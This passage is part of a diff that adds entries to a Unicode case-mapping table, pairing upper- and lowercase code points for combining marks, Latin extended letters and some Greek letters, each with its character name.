+ ["\u1DDD", "\u1DDD"], /* COMBINING LATIN SMALL LETTER L */
+ ["\u1DDE", "\u1DDE"], /* COMBINING LATIN LETTER SMALL CAPITAL L */
+ ["\u1DDF", "\u1DDF"], /* COMBINING LATIN LETTER SMALL CAPITAL M */
+ ["\u1DE0", "\u1DE0"], /* COMBINING LATIN SMALL LETTER N */
+ ["\u1DE1", "\u1DE1"], /* COMBINING LATIN LETTER SMALL CAPITAL N */
+ ["\u1DE2", "\u1DE2"], /* COMBINING LATIN LETTER SMALL CAPITAL R */
+ ["\u1DE3", "\u1DE3"], /* COMBINING LATIN SMALL LETTER R ROTUNDA */
+ ["\u1DE4", "\u1DE4"], /* COMBINING LATIN SMALL LETTER S */
+ ["\u1DE5", "\u1DE5"], /* COMBINING LATIN SMALL LETTER LONG S */
+ ["\u1DE6", "\u1DE6"], /* COMBINING LATIN SMALL LETTER Z */
+ ["\u1DE7", "\u1DE7"], /* COMBINING LATIN SMALL LETTER ALPHA */
+ ["\u1DE8", "\u1DE8"], /* COMBINING LATIN SMALL LETTER B */
+ ["\u1DE9", "\u1DE9"], /* COMBINING LATIN SMALL LETTER BETA */
+ ["\u1DEA", "\u1DEA"], /* COMBINING LATIN SMALL LETTER SCHWA */
+ ["\u1DEB", "\u1DEB"], /* COMBINING LATIN SMALL LETTER F */
+ ["\u1DEC", "\u1DEC"], /* COMBINING LATIN SMALL LETTER L WITH DOUBLE MIDDLE TILDE */
+ ["\u1DED", "\u1DED"], /* COMBINING LATIN SMALL LETTER O WITH LIGHT CENTRALIZATION STROKE */
+ ["\u1DEE", "\u1DEE"], /* COMBINING LATIN SMALL LETTER P */
+ ["\u1DEF", "\u1DEF"], /* COMBINING LATIN SMALL LETTER ESH */
+ ["\u1DF0", "\u1DF0"], /* COMBINING LATIN SMALL LETTER U WITH LIGHT CENTRALIZATION STROKE */
+ ["\u1DF1", "\u1DF1"], /* COMBINING LATIN SMALL LETTER W */
+ ["\u1DF2", "\u1DF2"], /* COMBINING LATIN SMALL LETTER A WITH DIAERESIS */
+ ["\u1DF3", "\u1DF3"], /* COMBINING LATIN SMALL LETTER O WITH DIAERESIS */
+ ["\u1DF4", "\u1DF4"], /* COMBINING LATIN SMALL LETTER U WITH DIAERESIS */
+ ["\u1DF5", "\u1DF5"], /* COMBINING UP TACK ABOVE */
+ ["\u1DF6", "\u1DF6"], /* COMBINING KAVYKA ABOVE RIGHT */
+ ["\u1DF7", "\u1DF7"], /* COMBINING KAVYKA ABOVE LEFT */
+ ["\u1DF8", "\u1DF8"], /* COMBINING DOT ABOVE LEFT */
+ ["\u1DF9", "\u1DF9"], /* COMBINING WIDE INVERTED BRIDGE BELOW */
+ ["\u1DFA", "\u1DFA"], /* COMBINING DOT BELOW LEFT */
+ ["\u1DFB", "\u1DFB"], /* COMBINING DELETION MARK */
+ ["\u1DFC", "\u1DFC"], /* COMBINING DOUBLE INVERTED BREVE BELOW */
+ ["\u1DFD", "\u1DFD"], /* COMBINING ALMOST EQUAL TO BELOW */
+ ["\u1DFE", "\u1DFE"], /* COMBINING LEFT ARROWHEAD ABOVE */
+ ["\u1DFF", "\u1DFF"], /* COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW */
+ ["\u1E00", "\u1E01"], /* LATIN CAPITAL LETTER A WITH RING BELOW */
+ ["\u1E00", "\u1E01"], /* LATIN SMALL LETTER A WITH RING BELOW */
+ ["\u1E02", "\u1E03"], /* LATIN CAPITAL LETTER B WITH DOT ABOVE */
+ ["\u1E02", "\u1E03"], /* LATIN SMALL LETTER B WITH DOT ABOVE */
+ ["\u1E04", "\u1E05"], /* LATIN CAPITAL LETTER B WITH DOT BELOW */
+ ["\u1E04", "\u1E05"], /* LATIN SMALL LETTER B WITH DOT BELOW */
+ ["\u1E06", "\u1E07"], /* LATIN CAPITAL LETTER B WITH LINE BELOW */
+ ["\u1E06", "\u1E07"], /* LATIN SMALL LETTER B WITH LINE BELOW */
+ ["\u1E08", "\u1E09"], /* LATIN CAPITAL LETTER C WITH CEDILLA AND ACUTE */
+ ["\u1E08", "\u1E09"], /* LATIN SMALL LETTER C WITH CEDILLA AND ACUTE */
+ ["\u1E0A", "\u1E0B"], /* LATIN CAPITAL LETTER D WITH DOT ABOVE */
+ ["\u1E0A", "\u1E0B"], /* LATIN SMALL LETTER D WITH DOT ABOVE */
+ ["\u1E0C", "\u1E0D"], /* LATIN CAPITAL LETTER D WITH DOT BELOW */
+ ["\u1E0C", "\u1E0D"], /* LATIN SMALL LETTER D WITH DOT BELOW */
+ ["\u1E0E", "\u1E0F"], /* LATIN CAPITAL LETTER D WITH LINE BELOW */
+ ["\u1E0E", "\u1E0F"], /* LATIN SMALL LETTER D WITH LINE BELOW */
+ ["\u1E10", "\u1E11"], /* LATIN CAPITAL LETTER D WITH CEDILLA */
+ ["\u1E10", "\u1E11"], /* LATIN SMALL LETTER D WITH CEDILLA */
+ ["\u1E12", "\u1E13"], /* LATIN CAPITAL LETTER D WITH CIRCUMFLEX BELOW */
+ ["\u1E12", "\u1E13"], /* LATIN SMALL LETTER D WITH CIRCUMFLEX BELOW */
+ ["\u1E14", "\u1E15"], /* LATIN CAPITAL LETTER E WITH MACRON AND GRAVE */
+ ["\u1E14", "\u1E15"], /* LATIN SMALL LETTER E WITH MACRON AND GRAVE */
+ ["\u1E16", "\u1E17"], /* LATIN CAPITAL LETTER E WITH MACRON AND ACUTE */
+ ["\u1E16", "\u1E17"], /* LATIN SMALL LETTER E WITH MACRON AND ACUTE */
+ ["\u1E18", "\u1E19"], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX BELOW */
+ ["\u1E18", "\u1E19"], /* LATIN SMALL LETTER E WITH CIRCUMFLEX BELOW */
+ ["\u1E1A", "\u1E1B"], /* LATIN CAPITAL LETTER E WITH TILDE BELOW */
+ ["\u1E1A", "\u1E1B"], /* LATIN SMALL LETTER E WITH TILDE BELOW */
+ ["\u1E1C", "\u1E1D"], /* LATIN CAPITAL LETTER E WITH CEDILLA AND BREVE */
+ ["\u1E1C", "\u1E1D"], /* LATIN SMALL LETTER E WITH CEDILLA AND BREVE */
+ ["\u1E1E", "\u1E1F"], /* LATIN CAPITAL LETTER F WITH DOT ABOVE */
+ ["\u1E1E", "\u1E1F"], /* LATIN SMALL LETTER F WITH DOT ABOVE */
+ ["\u1E20", "\u1E21"], /* LATIN CAPITAL LETTER G WITH MACRON */
+ ["\u1E20", "\u1E21"], /* LATIN SMALL LETTER G WITH MACRON */
+ ["\u1E22", "\u1E23"], /* LATIN CAPITAL LETTER H WITH DOT ABOVE */
+ ["\u1E22", "\u1E23"], /* LATIN SMALL LETTER H WITH DOT ABOVE */
+ ["\u1E24", "\u1E25"], /* LATIN CAPITAL LETTER H WITH DOT BELOW */
+ ["\u1E24", "\u1E25"], /* LATIN SMALL LETTER H WITH DOT BELOW */
+ ["\u1E26", "\u1E27"], /* LATIN CAPITAL LETTER H WITH DIAERESIS */
+ ["\u1E26", "\u1E27"], /* LATIN SMALL LETTER H WITH DIAERESIS */
+ ["\u1E28", "\u1E29"], /* LATIN CAPITAL LETTER H WITH CEDILLA */
+ ["\u1E28", "\u1E29"], /* LATIN SMALL LETTER H WITH CEDILLA */
+ ["\u1E2A", "\u1E2B"], /* LATIN CAPITAL LETTER H WITH BREVE BELOW */
+ ["\u1E2A", "\u1E2B"], /* LATIN SMALL LETTER H WITH BREVE BELOW */
+ ["\u1E2C", "\u1E2D"], /* LATIN CAPITAL LETTER I WITH TILDE BELOW */
+ ["\u1E2C", "\u1E2D"], /* LATIN SMALL LETTER I WITH TILDE BELOW */
+ ["\u1E2E", "\u1E2F"], /* LATIN CAPITAL LETTER I WITH DIAERESIS AND ACUTE */
+ ["\u1E2E", "\u1E2F"], /* LATIN SMALL LETTER I WITH DIAERESIS AND ACUTE */
+ ["\u1E30", "\u1E31"], /* LATIN CAPITAL LETTER K WITH ACUTE */
+ ["\u1E30", "\u1E31"], /* LATIN SMALL LETTER K WITH ACUTE */
+ ["\u1E32", "\u1E33"], /* LATIN CAPITAL LETTER K WITH DOT BELOW */
+ ["\u1E32", "\u1E33"], /* LATIN SMALL LETTER K WITH DOT BELOW */
+ ["\u1E34", "\u1E35"], /* LATIN CAPITAL LETTER K WITH LINE BELOW */
+ ["\u1E34", "\u1E35"], /* LATIN SMALL LETTER K WITH LINE BELOW */
+ ["\u1E36", "\u1E37"], /* LATIN CAPITAL LETTER L WITH DOT BELOW */
+ ["\u1E36", "\u1E37"], /* LATIN SMALL LETTER L WITH DOT BELOW */
+ ["\u1E38", "\u1E39"], /* LATIN CAPITAL LETTER L WITH DOT BELOW AND MACRON */
+ ["\u1E38", "\u1E39"], /* LATIN SMALL LETTER L WITH DOT BELOW AND MACRON */
+ ["\u1E3A", "\u1E3B"], /* LATIN CAPITAL LETTER L WITH LINE BELOW */
+ ["\u1E3A", "\u1E3B"], /* LATIN SMALL LETTER L WITH LINE BELOW */
+ ["\u1E3C", "\u1E3D"], /* LATIN CAPITAL LETTER L WITH CIRCUMFLEX BELOW */
+ ["\u1E3C", "\u1E3D"], /* LATIN SMALL LETTER L WITH CIRCUMFLEX BELOW */
+ ["\u1E3E", "\u1E3F"], /* LATIN CAPITAL LETTER M WITH ACUTE */
+ ["\u1E3E", "\u1E3F"], /* LATIN SMALL LETTER M WITH ACUTE */
+ ["\u1E40", "\u1E41"], /* LATIN CAPITAL LETTER M WITH DOT ABOVE */
+ ["\u1E40", "\u1E41"], /* LATIN SMALL LETTER M WITH DOT ABOVE */
+ ["\u1E42", "\u1E43"], /* LATIN CAPITAL LETTER M WITH DOT BELOW */
+ ["\u1E42", "\u1E43"], /* LATIN SMALL LETTER M WITH DOT BELOW */
+ ["\u1E44", "\u1E45"], /* LATIN CAPITAL LETTER N WITH DOT ABOVE */
+ ["\u1E44", "\u1E45"], /* LATIN SMALL LETTER N WITH DOT ABOVE */
+ ["\u1E46", "\u1E47"], /* LATIN CAPITAL LETTER N WITH DOT BELOW */
+ ["\u1E46", "\u1E47"], /* LATIN SMALL LETTER N WITH DOT BELOW */
+ ["\u1E48", "\u1E49"], /* LATIN CAPITAL LETTER N WITH LINE BELOW */
+ ["\u1E48", "\u1E49"], /* LATIN SMALL LETTER N WITH LINE BELOW */
+ ["\u1E4A", "\u1E4B"], /* LATIN CAPITAL LETTER N WITH CIRCUMFLEX BELOW */
+ ["\u1E4A", "\u1E4B"], /* LATIN SMALL LETTER N WITH CIRCUMFLEX BELOW */
+ ["\u1E4C", "\u1E4D"], /* LATIN CAPITAL LETTER O WITH TILDE AND ACUTE */
+ ["\u1E4C", "\u1E4D"], /* LATIN SMALL LETTER O WITH TILDE AND ACUTE */
+ ["\u1E4E", "\u1E4F"], /* LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS */
+ ["\u1E4E", "\u1E4F"], /* LATIN SMALL LETTER O WITH TILDE AND DIAERESIS */
+ ["\u1E50", "\u1E51"], /* LATIN CAPITAL LETTER O WITH MACRON AND GRAVE */
+ ["\u1E50", "\u1E51"], /* LATIN SMALL LETTER O WITH MACRON AND GRAVE */
+ ["\u1E52", "\u1E53"], /* LATIN CAPITAL LETTER O WITH MACRON AND ACUTE */
+ ["\u1E52", "\u1E53"], /* LATIN SMALL LETTER O WITH MACRON AND ACUTE */
+ ["\u1E54", "\u1E55"], /* LATIN CAPITAL LETTER P WITH ACUTE */
+ ["\u1E54", "\u1E55"], /* LATIN SMALL LETTER P WITH ACUTE */
+ ["\u1E56", "\u1E57"], /* LATIN CAPITAL LETTER P WITH DOT ABOVE */
+ ["\u1E56", "\u1E57"], /* LATIN SMALL LETTER P WITH DOT ABOVE */
+ ["\u1E58", "\u1E59"], /* LATIN CAPITAL LETTER R WITH DOT ABOVE */
+ ["\u1E58", "\u1E59"], /* LATIN SMALL LETTER R WITH DOT ABOVE */
+ ["\u1E5A", "\u1E5B"], /* LATIN CAPITAL LETTER R WITH DOT BELOW */
+ ["\u1E5A", "\u1E5B"], /* LATIN SMALL LETTER R WITH DOT BELOW */
+ ["\u1E5C", "\u1E5D"], /* LATIN CAPITAL LETTER R WITH DOT BELOW AND MACRON */
+ ["\u1E5C", "\u1E5D"], /* LATIN SMALL LETTER R WITH DOT BELOW AND MACRON */
+ ["\u1E5E", "\u1E5F"], /* LATIN CAPITAL LETTER R WITH LINE BELOW */
+ ["\u1E5E", "\u1E5F"], /* LATIN SMALL LETTER R WITH LINE BELOW */
+ ["\u1E60", "\u1E61"], /* LATIN CAPITAL LETTER S WITH DOT ABOVE */
+ ["\u1E60", "\u1E61"], /* LATIN SMALL LETTER S WITH DOT ABOVE */
+ ["\u1E62", "\u1E63"], /* LATIN CAPITAL LETTER S WITH DOT BELOW */
+ ["\u1E62", "\u1E63"], /* LATIN SMALL LETTER S WITH DOT BELOW */
+ ["\u1E64", "\u1E65"], /* LATIN CAPITAL LETTER S WITH ACUTE AND DOT ABOVE */
+ ["\u1E64", "\u1E65"], /* LATIN SMALL LETTER S WITH ACUTE AND DOT ABOVE */
+ ["\u1E66", "\u1E67"], /* LATIN CAPITAL LETTER S WITH CARON AND DOT ABOVE */
+ ["\u1E66", "\u1E67"], /* LATIN SMALL LETTER S WITH CARON AND DOT ABOVE */
+ ["\u1E68", "\u1E69"], /* LATIN CAPITAL LETTER S WITH DOT BELOW AND DOT ABOVE */
+ ["\u1E68", "\u1E69"], /* LATIN SMALL LETTER S WITH DOT BELOW AND DOT ABOVE */
+ ["\u1E6A", "\u1E6B"], /* LATIN CAPITAL LETTER T WITH DOT ABOVE */
+ ["\u1E6A", "\u1E6B"], /* LATIN SMALL LETTER T WITH DOT ABOVE */
+ ["\u1E6C", "\u1E6D"], /* LATIN CAPITAL LETTER T WITH DOT BELOW */
+ ["\u1E6C", "\u1E6D"], /* LATIN SMALL LETTER T WITH DOT BELOW */
+ ["\u1E6E", "\u1E6F"], /* LATIN CAPITAL LETTER T WITH LINE BELOW */
+ ["\u1E6E", "\u1E6F"], /* LATIN SMALL LETTER T WITH LINE BELOW */
+ ["\u1E70", "\u1E71"], /* LATIN CAPITAL LETTER T WITH CIRCUMFLEX BELOW */
+ ["\u1E70", "\u1E71"], /* LATIN SMALL LETTER T WITH CIRCUMFLEX BELOW */
+ ["\u1E72", "\u1E73"], /* LATIN CAPITAL LETTER U WITH DIAERESIS BELOW */
+ ["\u1E72", "\u1E73"], /* LATIN SMALL LETTER U WITH DIAERESIS BELOW */
+ ["\u1E74", "\u1E75"], /* LATIN CAPITAL LETTER U WITH TILDE BELOW */
+ ["\u1E74", "\u1E75"], /* LATIN SMALL LETTER U WITH TILDE BELOW */
+ ["\u1E76", "\u1E77"], /* LATIN CAPITAL LETTER U WITH CIRCUMFLEX BELOW */
+ ["\u1E76", "\u1E77"], /* LATIN SMALL LETTER U WITH CIRCUMFLEX BELOW */
+ ["\u1E78", "\u1E79"], /* LATIN CAPITAL LETTER U WITH TILDE AND ACUTE */
+ ["\u1E78", "\u1E79"], /* LATIN SMALL LETTER U WITH TILDE AND ACUTE */
+ ["\u1E7A", "\u1E7B"], /* LATIN CAPITAL LETTER U WITH MACRON AND DIAERESIS */
+ ["\u1E7A", "\u1E7B"], /* LATIN SMALL LETTER U WITH MACRON AND DIAERESIS */
+ ["\u1E7C", "\u1E7D"], /* LATIN CAPITAL LETTER V WITH TILDE */
+ ["\u1E7C", "\u1E7D"], /* LATIN SMALL LETTER V WITH TILDE */
+ ["\u1E7E", "\u1E7F"], /* LATIN CAPITAL LETTER V WITH DOT BELOW */
+ ["\u1E7E", "\u1E7F"], /* LATIN SMALL LETTER V WITH DOT BELOW */
+ ["\u1E80", "\u1E81"], /* LATIN CAPITAL LETTER W WITH GRAVE */
+ ["\u1E80", "\u1E81"], /* LATIN SMALL LETTER W WITH GRAVE */
+ ["\u1E82", "\u1E83"], /* LATIN CAPITAL LETTER W WITH ACUTE */
+ ["\u1E82", "\u1E83"], /* LATIN SMALL LETTER W WITH ACUTE */
+ ["\u1E84", "\u1E85"], /* LATIN CAPITAL LETTER W WITH DIAERESIS */
+ ["\u1E84", "\u1E85"], /* LATIN SMALL LETTER W WITH DIAERESIS */
+ ["\u1E86", "\u1E87"], /* LATIN CAPITAL LETTER W WITH DOT ABOVE */
+ ["\u1E86", "\u1E87"], /* LATIN SMALL LETTER W WITH DOT ABOVE */
+ ["\u1E88", "\u1E89"], /* LATIN CAPITAL LETTER W WITH DOT BELOW */
+ ["\u1E88", "\u1E89"], /* LATIN SMALL LETTER W WITH DOT BELOW */
+ ["\u1E8A", "\u1E8B"], /* LATIN CAPITAL LETTER X WITH DOT ABOVE */
+ ["\u1E8A", "\u1E8B"], /* LATIN SMALL LETTER X WITH DOT ABOVE */
+ ["\u1E8C", "\u1E8D"], /* LATIN CAPITAL LETTER X WITH DIAERESIS */
+ ["\u1E8C", "\u1E8D"], /* LATIN SMALL LETTER X WITH DIAERESIS */
+ ["\u1E8E", "\u1E8F"], /* LATIN CAPITAL LETTER Y WITH DOT ABOVE */
+ ["\u1E8E", "\u1E8F"], /* LATIN SMALL LETTER Y WITH DOT ABOVE */
+ ["\u1E90", "\u1E91"], /* LATIN CAPITAL LETTER Z WITH CIRCUMFLEX */
+ ["\u1E90", "\u1E91"], /* LATIN SMALL LETTER Z WITH CIRCUMFLEX */
+ ["\u1E92", "\u1E93"], /* LATIN CAPITAL LETTER Z WITH DOT BELOW */
+ ["\u1E92", "\u1E93"], /* LATIN SMALL LETTER Z WITH DOT BELOW */
+ ["\u1E94", "\u1E95"], /* LATIN CAPITAL LETTER Z WITH LINE BELOW */
+ ["\u1E94", "\u1E95"], /* LATIN SMALL LETTER Z WITH LINE BELOW */
+ ["\u0048\u0331", "\u1E96"], /* LATIN SMALL LETTER H WITH LINE BELOW */
+ ["\u0054\u0308", "\u1E97"], /* LATIN SMALL LETTER T WITH DIAERESIS */
+ ["\u0057\u030A", "\u1E98"], /* LATIN SMALL LETTER W WITH RING ABOVE */
+ ["\u0059\u030A", "\u1E99"], /* LATIN SMALL LETTER Y WITH RING ABOVE */
+ ["\u0041\u02BE", "\u1E9A"], /* LATIN SMALL LETTER A WITH RIGHT HALF RING */
+ ["\u1E60", "\u1E9B"], /* LATIN SMALL LETTER LONG S WITH DOT ABOVE */
+ ["\u1E9C", "\u1E9C"], /* LATIN SMALL LETTER LONG S WITH DIAGONAL STROKE */
+ ["\u1E9D", "\u1E9D"], /* LATIN SMALL LETTER LONG S WITH HIGH STROKE */
+ ["\u1E9E", "\u00DF"], /* LATIN CAPITAL LETTER SHARP S */
+ ["\u1E9F", "\u1E9F"], /* LATIN SMALL LETTER DELTA */
+ ["\u1EA0", "\u1EA1"], /* LATIN CAPITAL LETTER A WITH DOT BELOW */
+ ["\u1EA0", "\u1EA1"], /* LATIN SMALL LETTER A WITH DOT BELOW */
+ ["\u1EA2", "\u1EA3"], /* LATIN CAPITAL LETTER A WITH HOOK ABOVE */
+ ["\u1EA2", "\u1EA3"], /* LATIN SMALL LETTER A WITH HOOK ABOVE */
+ ["\u1EA4", "\u1EA5"], /* LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE */
+ ["\u1EA4", "\u1EA5"], /* LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE */
+ ["\u1EA6", "\u1EA7"], /* LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE */
+ ["\u1EA6", "\u1EA7"], /* LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE */
+ ["\u1EA8", "\u1EA9"], /* LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE */
+ ["\u1EA8", "\u1EA9"], /* LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE */
+ ["\u1EAA", "\u1EAB"], /* LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE */
+ ["\u1EAA", "\u1EAB"], /* LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE */
+ ["\u1EAC", "\u1EAD"], /* LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW */
+ ["\u1EAC", "\u1EAD"], /* LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW */
+ ["\u1EAE", "\u1EAF"], /* LATIN CAPITAL LETTER A WITH BREVE AND ACUTE */
+ ["\u1EAE", "\u1EAF"], /* LATIN SMALL LETTER A WITH BREVE AND ACUTE */
+ ["\u1EB0", "\u1EB1"], /* LATIN CAPITAL LETTER A WITH BREVE AND GRAVE */
+ ["\u1EB0", "\u1EB1"], /* LATIN SMALL LETTER A WITH BREVE AND GRAVE */
+ ["\u1EB2", "\u1EB3"], /* LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE */
+ ["\u1EB2", "\u1EB3"], /* LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE */
+ ["\u1EB4", "\u1EB5"], /* LATIN CAPITAL LETTER A WITH BREVE AND TILDE */
+ ["\u1EB4", "\u1EB5"], /* LATIN SMALL LETTER A WITH BREVE AND TILDE */
+ ["\u1EB6", "\u1EB7"], /* LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW */
+ ["\u1EB6", "\u1EB7"], /* LATIN SMALL LETTER A WITH BREVE AND DOT BELOW */
+ ["\u1EB8", "\u1EB9"], /* LATIN CAPITAL LETTER E WITH DOT BELOW */
+ ["\u1EB8", "\u1EB9"], /* LATIN SMALL LETTER E WITH DOT BELOW */
+ ["\u1EBA", "\u1EBB"], /* LATIN CAPITAL LETTER E WITH HOOK ABOVE */
+ ["\u1EBA", "\u1EBB"], /* LATIN SMALL LETTER E WITH HOOK ABOVE */
+ ["\u1EBC", "\u1EBD"], /* LATIN CAPITAL LETTER E WITH TILDE */
+ ["\u1EBC", "\u1EBD"], /* LATIN SMALL LETTER E WITH TILDE */
+ ["\u1EBE", "\u1EBF"], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE */
+ ["\u1EBE", "\u1EBF"], /* LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE */
+ ["\u1EC0", "\u1EC1"], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE */
+ ["\u1EC0", "\u1EC1"], /* LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE */
+ ["\u1EC2", "\u1EC3"], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE */
+ ["\u1EC2", "\u1EC3"], /* LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE */
+ ["\u1EC4", "\u1EC5"], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE */
+ ["\u1EC4", "\u1EC5"], /* LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE */
+ ["\u1EC6", "\u1EC7"], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW */
+ ["\u1EC6", "\u1EC7"], /* LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW */
+ ["\u1EC8", "\u1EC9"], /* LATIN CAPITAL LETTER I WITH HOOK ABOVE */
+ ["\u1EC8", "\u1EC9"], /* LATIN SMALL LETTER I WITH HOOK ABOVE */
+ ["\u1ECA", "\u1ECB"], /* LATIN CAPITAL LETTER I WITH DOT BELOW */
+ ["\u1ECA", "\u1ECB"], /* LATIN SMALL LETTER I WITH DOT BELOW */
+ ["\u1ECC", "\u1ECD"], /* LATIN CAPITAL LETTER O WITH DOT BELOW */
+ ["\u1ECC", "\u1ECD"], /* LATIN SMALL LETTER O WITH DOT BELOW */
+ ["\u1ECE", "\u1ECF"], /* LATIN CAPITAL LETTER O WITH HOOK ABOVE */
+ ["\u1ECE", "\u1ECF"], /* LATIN SMALL LETTER O WITH HOOK ABOVE */
+ ["\u1ED0", "\u1ED1"], /* LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE */
+ ["\u1ED0", "\u1ED1"], /* LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE */
+ ["\u1ED2", "\u1ED3"], /* LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE */
+ ["\u1ED2", "\u1ED3"], /* LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE */
+ ["\u1ED4", "\u1ED5"], /* LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE */
+ ["\u1ED4", "\u1ED5"], /* LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE */
+ ["\u1ED6", "\u1ED7"], /* LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE */
+ ["\u1ED6", "\u1ED7"], /* LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE */
+ ["\u1ED8", "\u1ED9"], /* LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW */
+ ["\u1ED8", "\u1ED9"], /* LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW */
+ ["\u1EDA", "\u1EDB"], /* LATIN CAPITAL LETTER O WITH HORN AND ACUTE */
+ ["\u1EDA", "\u1EDB"], /* LATIN SMALL LETTER O WITH HORN AND ACUTE */
+ ["\u1EDC", "\u1EDD"], /* LATIN CAPITAL LETTER O WITH HORN AND GRAVE */
+ ["\u1EDC", "\u1EDD"], /* LATIN SMALL LETTER O WITH HORN AND GRAVE */
+ ["\u1EDE", "\u1EDF"], /* LATIN CAPITAL LETTER O WITH HORN AND HOOK ABOVE */
+ ["\u1EDE", "\u1EDF"], /* LATIN SMALL LETTER O WITH HORN AND HOOK ABOVE */
+ ["\u1EE0", "\u1EE1"], /* LATIN CAPITAL LETTER O WITH HORN AND TILDE */
+ ["\u1EE0", "\u1EE1"], /* LATIN SMALL LETTER O WITH HORN AND TILDE */
+ ["\u1EE2", "\u1EE3"], /* LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW */
+ ["\u1EE2", "\u1EE3"], /* LATIN SMALL LETTER O WITH HORN AND DOT BELOW */
+ ["\u1EE4", "\u1EE5"], /* LATIN CAPITAL LETTER U WITH DOT BELOW */
+ ["\u1EE4", "\u1EE5"], /* LATIN SMALL LETTER U WITH DOT BELOW */
+ ["\u1EE6", "\u1EE7"], /* LATIN CAPITAL LETTER U WITH HOOK ABOVE */
+ ["\u1EE6", "\u1EE7"], /* LATIN SMALL LETTER U WITH HOOK ABOVE */
+ ["\u1EE8", "\u1EE9"], /* LATIN CAPITAL LETTER U WITH HORN AND ACUTE */
+ ["\u1EE8", "\u1EE9"], /* LATIN SMALL LETTER U WITH HORN AND ACUTE */
+ ["\u1EEA", "\u1EEB"], /* LATIN CAPITAL LETTER U WITH HORN AND GRAVE */
+ ["\u1EEA", "\u1EEB"], /* LATIN SMALL LETTER U WITH HORN AND GRAVE */
+ ["\u1EEC", "\u1EED"], /* LATIN CAPITAL LETTER U WITH HORN AND HOOK ABOVE */
+ ["\u1EEC", "\u1EED"], /* LATIN SMALL LETTER U WITH HORN AND HOOK ABOVE */
+ ["\u1EEE", "\u1EEF"], /* LATIN CAPITAL LETTER U WITH HORN AND TILDE */
+ ["\u1EEE", "\u1EEF"], /* LATIN SMALL LETTER U WITH HORN AND TILDE */
+ ["\u1EF0", "\u1EF1"], /* LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW */
+ ["\u1EF0", "\u1EF1"], /* LATIN SMALL LETTER U WITH HORN AND DOT BELOW */
+ ["\u1EF2", "\u1EF3"], /* LATIN CAPITAL LETTER Y WITH GRAVE */
+ ["\u1EF2", "\u1EF3"], /* LATIN SMALL LETTER Y WITH GRAVE */
+ ["\u1EF4", "\u1EF5"], /* LATIN CAPITAL LETTER Y WITH DOT BELOW */
+ ["\u1EF4", "\u1EF5"], /* LATIN SMALL LETTER Y WITH DOT BELOW */
+ ["\u1EF6", "\u1EF7"], /* LATIN CAPITAL LETTER Y WITH HOOK ABOVE */
+ ["\u1EF6", "\u1EF7"], /* LATIN SMALL LETTER Y WITH HOOK ABOVE */
+ ["\u1EF8", "\u1EF9"], /* LATIN CAPITAL LETTER Y WITH TILDE */
+ ["\u1EF8", "\u1EF9"], /* LATIN SMALL LETTER Y WITH TILDE */
+ ["\u1EFA", "\u1EFB"], /* LATIN CAPITAL LETTER MIDDLE-WELSH LL */
+ ["\u1EFA", "\u1EFB"], /* LATIN SMALL LETTER MIDDLE-WELSH LL */
+ ["\u1EFC", "\u1EFD"], /* LATIN CAPITAL LETTER MIDDLE-WELSH V */
+ ["\u1EFC", "\u1EFD"], /* LATIN SMALL LETTER MIDDLE-WELSH V */
+ ["\u1EFE", "\u1EFF"], /* LATIN CAPITAL LETTER Y WITH LOOP */
+ ["\u1EFE", "\u1EFF"], /* LATIN SMALL LETTER Y WITH LOOP */
+ ["\u1F08", "\u1F00"], /* GREEK SMALL LETTER ALPHA WITH PSILI */
+ ["\u1F09", "\u1F01"], /* GREEK SMALL LETTER ALPHA WITH DASIA */
+ ["\u1F0A", "\u1F02"], /* GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA */
+ ["\u1F0B", "\u1F03"], /* GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA */
+ ["\u1F0C", "\u1F04"], /* GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA */
+ ["\u1F0D", "\u1F05"], /* GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA */
+ ["\u1F0E", "\u1F06"], /* GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI */
+ ["\u1F0F", "\u1F07"], /* GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI */
+ ["\u1F08", "\u1F00"], /* GREEK CAPITAL LETTER ALPHA WITH PSILI */
